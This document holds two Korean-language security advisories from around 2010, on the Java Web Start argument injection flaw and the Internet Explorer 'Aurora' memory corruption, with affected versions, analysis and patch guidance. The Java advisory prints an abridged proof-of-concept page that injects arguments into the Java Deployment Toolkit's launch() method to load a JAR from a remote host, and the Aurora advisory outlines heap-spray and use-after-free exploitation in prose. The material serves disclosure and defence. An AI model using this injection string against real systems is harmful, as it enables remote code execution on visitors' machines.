The Java Web Start Argument Injection Vulnerability 

취약점 보안 권고안

By. Dear.TOM (bdr@a3sc.co.kr)


Ⅰ. 취약점 개요

취약점

The Java Web Start Argument Injection Vulnerability

최초 발표일

2010년 4월

현재상태(패치여부)

패치됨

구성요소

Java Web Start

보안 영향

원격 코드 실행

위험도

높음



1. 요약
“The Java Web Start Argument Injection Vulnerability” 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생하는 것으로, 해당 취약점은 2010년 4월 9일 Tavis Ormany에 의해 최초로 발표되었으며, Oracle Sun 社 에서는 4월 20일 공식 긴급 패치를 발표하였습니다.

2. 대상 시스템
다음은 Oracle Sun 社에서 해당 취약점에 취약한 버전을 공개한 목록입니다.

Java SE
   • JDK and JRE 6 for Windows, Solaris, and Linux      

Java for Business
   • JDK and JRE 6 for Windows, Solaris and Linux




Ⅱ. 취약점 세부 분석

1. 취약점 내용
해당 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드의 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생합니다.

JWS(Java Web Start)는 .jnlp(Java Network Launching Protocol)을 이용하여 전달받은 URL로부터 자바 어플리케이션을 다운로드 받아서 VM(Virtual Machin)에서 실행시키는 역할을 합니다. 이때, ActiveX control 과 NPAPI Plugin에서 제공하는 launch() 메소드를 통해 전달되는 URL의 유효성 검증이 미흡하여, 원격에서 악의적인 프로그램을 실행 시킬 수 있습니다.

2. 공격 분석
* 본 연구 문서는 신규 취약점 또는 보안 기술 우회 기법에 관한 문서로써 악용될 우려가 있는 상세 공격 코드 및 내용을 제한 합니다.

해당 취약점을 이용하여 제작된 악성 웹 페이지에 일반 사용자가 접근하면, 공격자가 의도한 임의의 프로그램을 실행 할 수 있습니다.

다음은 해당 취약점을 이용한 테스트 사이트의 웹 페이지 코드 입니다. 단, 해당 취약점을 최로로 밝힌 Tavis Ormany에 의해 테스트 용도로 구축되어 악의적인 공격을 수행하지는 않습니다.

<html>
        ...생략...

        // -J 옵션을 이용하여 매개변수로 전달하는 임의의 JAR 파일 실행 가능
        var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            var o = document.createElement("OBJECT");

            // IE 용 JDT ActiveX 플러그인 'deploytk.dll'의 클래스ID
            o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

            // JDT 플러그인의 launch()를 실행하여, 변수 u에 저장되어 있는 실행 경로를 
            // Java Web Start(javaws.exe)의 인자로 전달
            o.launch(u);
 
         ...생략...
</html>



다음은 해당 취약점을 이용한 웹 페이지 방문 결과, 윈도우 기본 계산기 프로그램이 실행되는 것을 확인하는 화면입니다.
 

3. 위험 분석

공격자는 “The Java Web Start Argument Injection” 취약점을 이용하여 원격지에서 임의의 (악성)코드 실행이 가능합니다. 이미 해외에서는 해당 취약점을 이용한 악성코드 유포 사례가 발견되었고, 공개 취약점 공격 도구에도 해당 취약점을 공격하는 기능이 추가 되어 있어, 취약한 버전을 사용할 경우 공격 당할 위험이 크다고 볼 수 있으므로, Java 관련 프로그램 혹은 플러그인을 사용하는 사용자는 최신 버전(JRE 6 update 20 이상의 버전)으로 업데이트 하시기 바랍니다.

4. 패치 분석
2010년 4월 20일 이루어진 긴급 보안 패치(Java SE 6 update 20)에서는 코드 기반 파라미터가 없는 Java Network Launch Protocol(JNLP) File을 더이상  동작  하지않도록 수정이 되었다고 밝히고 있습니다.


Ⅲ. 해결 방안

1. Oracle Sun 社 에서 제공하는 공식 패치 적용 - Java 6 Updatae 20
  URL) http://www.oracle.com/technology/deploy/security/alerts/alert-cve-2010-0886.html


Ⅳ. 참고자료

[1] [Full-disclosure] Java Deployment Toolkit Performs Insufficient Validation of Parameters
  URL) http://lists.grok.org.uk/pipermail/full-disclosure/2010-April/074036.html
[2] Java Deployment Toolkit Test Page
  URL) http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html
[3] Java SE 6 Update 20 Release Notes
  URL) http://java.sun.com/javase/6/webnotes/6u20.html
[4] Security Alert for CVE-2010-0886 and CVE-2010-0887 Released
  URL) http://blogs.oracle.com/security/2010/04/security_alert_for_cve-2010-08.html
[5] JAVA Web Start Arbitrary command-line injection - "-XXaltjvm" arbitrary dll loading
  URL) http://reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1
[6] Java exploit launches local Windows applications
  URL) http://www.h-online.com/security/news/item/Java-exploit-launches-local-Windows-applications-974652.html
[7] Java zero-day flaw under active attack
  URL) http://blogs.zdnet.com/security/?p=6161
[8] The Java Web Start Argument Injection Vulnerability
  URL) http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html

 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


Microsoft Internet Explorer "Aurora" Memory Corruption

취약점 보안 권고안

By. bdr@a3sc.co.kr
(A.K.A Dear.Tom)


Ⅰ. 취약점 개요

취약점

Microsoft Internet Explorer "Aurora" Memory Corruption

최초 발표일

2010 1

현재상태(패치여부)

unpached (1월 23일 패치 예정)

구성요소

Windows Internet Explorer

보안 영향

원격 코드 실행

위험도

높음



1. 요약
“Aurora”는 MS Windows Internet Explorer에서 비 정상적인 메모리 참조로 인하여 원격코드가 실행되는 취약점으로 2010년 1월 초 구글, 야후 등의 해외 기업의 공격 사례에 이용되었다는 사실을 통해 알려지기 시작했습니다. 해당 취약점의 공격코드는 현재 인터넷 검색으로 쉽게 획득할 수 있고, 공개되어 있는 취약점 공격 툴로 공격이 가능하므로 취약한 버전을 이용하는 분들에 대한 주의가 요구됩니다. 단, MS의 공식 패치는 2010년 1월 23일 공개 될 예정입니다.

2. 대상 시스템
다음은 MS에서 해당 취약점에 취약한 버전을 공개한 목록입니다.

Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 and Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service pack 2
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows 7
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems
Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4
Internet Explorer 6 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 6 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 7 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 7 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 7 in Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Internet Explorer 7 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Internet Explorer 7 in Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
Internet Explorer 7 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Internet Explorer 8 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2
Internet Explorer 8 for Windows Server 2003 Service Pack 2, and Windows Server 2003 x64 Edition Service Pack 2
Internet Explorer 8 in Windows Vista, Windows Vista Service Pack 1, Windows Vista Service Pack 2, Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Internet Explorer 8 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Internet Explorer 8 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Internet Explorer 8 in Windows 7 for 32-bit Systems
Internet Explorer 8 in Windows 7 for x64-based Systems
Internet Explorer 8 in Windows Server 2008 R2 for x64-based Systems
Internet Explorer 8 in Windows Server 2008 R2 for Itanium-based Systems



Ⅱ. 취약점 세부 분석

1. 취약점 내용
이 취약점은 mshtml.dll 에서 CElement::GetDocPtr 메서드(method)가 잘못된 메모리를 참조하여 발생하며, 그 공격원리는 다음과 같습니다.

해당 공격코드는 "document.CreateEventObject()"를 이용하여, 이미지를 불러오거나 링크를 클릭하여 이벤트가 활성화 된 객체를 복사합니다. 그리고 "document.getElementById()"를 사용하여 활성화된 이벤트 공간을 참조한 다음, 어떤 임의의 문자열을 지정하여 그 개체를 파괴합니다. 이렇게 복사된 이벤트 객체는 유효하지는 않지만, 여전히 해당 메모리 공간으로 접근 할 수 있다는 점을 이용한 취약점입니다.

2. 공격 분석
다음은 “Aurora” 공격코드 중 쉘코드를 실행시키기 위한 Heap-spray, 이벤트 객체 복사 및 삭제 등을 하는 코드 부분입니다.

 

다음은 공격코드에서 nop slide에 해당하는 값을 임시로 수정하여 프로그램 흐름을 확인하는 화면입니다. 메모리는 nop slide(“BBBBBBBB”)로 가득 채워지고, 이로인해 EIP는 잘못된 메모리 주소 “BBBBBBBB”를 참조하고 있음을 확인 할 수 있습니다.


다음은 mshtml.dll 에서 비정상적인 메모리 주소로 접근하는 코드 영역(GetDocPtr())을 확인하는 화면입니다.


다음은 해당 취약점을 이용하여 타인의 PC를 장악하는 화면입니다.


3. 위험 분석

MS의 공식 패치가 이루어지지 않은 현재, 해당 취약점의 공격코드는 인터넷 검색으로 쉽게 획득할 수 있고, 공개되어 있는 취약점 공격 툴로 공격이 가능하므로 취약한 버전을 이용하는 사용자 대부분이 위험에 노출되어 있어, 적절한 대책을 적용하지 않은 사용자는 공격자에게 장악당할 수 있습니다.


Ⅲ. 해결 방안

1. DEP 활성화 패치 설치
  URL) http://download.microsoft.com/download/C/A/D/CAD9DFDF-AF35-4712-B876-B2EEA708495C/MicrosoftFixit50285.msi
2. IE 8로 업데이트(DEP 활성화 여부 확인)
3. IE의 보안 수준 강화

  설정) IE 도구 메뉴 -> 인터넷 옵션 -> 보안 탭 -> 사용자 지정 수준 -> “Active Scripting” 항목 ‘확인’ 혹은 ‘사용안함’으로 변경
  주의) 일부 사이트가 올바르게 작동하지 않을 수 있음.
4. 공식 패치 적용(1월 23일 발표 예정)
  URL) http://blogs.technet.com/koalra/archive/2010/01/21/s2010-1.aspx


Ⅳ. 참고자료

[1] Understanding DEP as a mitigation technology part 1 & 2
  URL) http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx
  URL) http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-2.aspx
[2] 'Aurora' Exploit Retooled To Bypass Internet Explorer's DEP Security
  URL) http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=222301436&cid=RSSfeed_DR_News
[3] Operation “Aurora” Hit Google, Others
  URL) http://siblog.mcafee.com/cto/operation-%e2%80%9caurora%e2%80%9d-hit-google-others/
[4] Microsoft Security Advisory (979352)
  URL) http://www.microsoft.com/technet/security/advisory/979352.mspx
[5] Aurora Exploit 최초 공개
  URL) http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
[6] Microsoft New Internet Explorer 0-day Vulnerability and Targeted Attacks
  URL) http://securitylabs.websense.com/content/Blogs/3530.aspx
[7] The Problem With innerHTML
  URL) http://www.julienlecomte.net/blog/2007/12/38/
 

※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.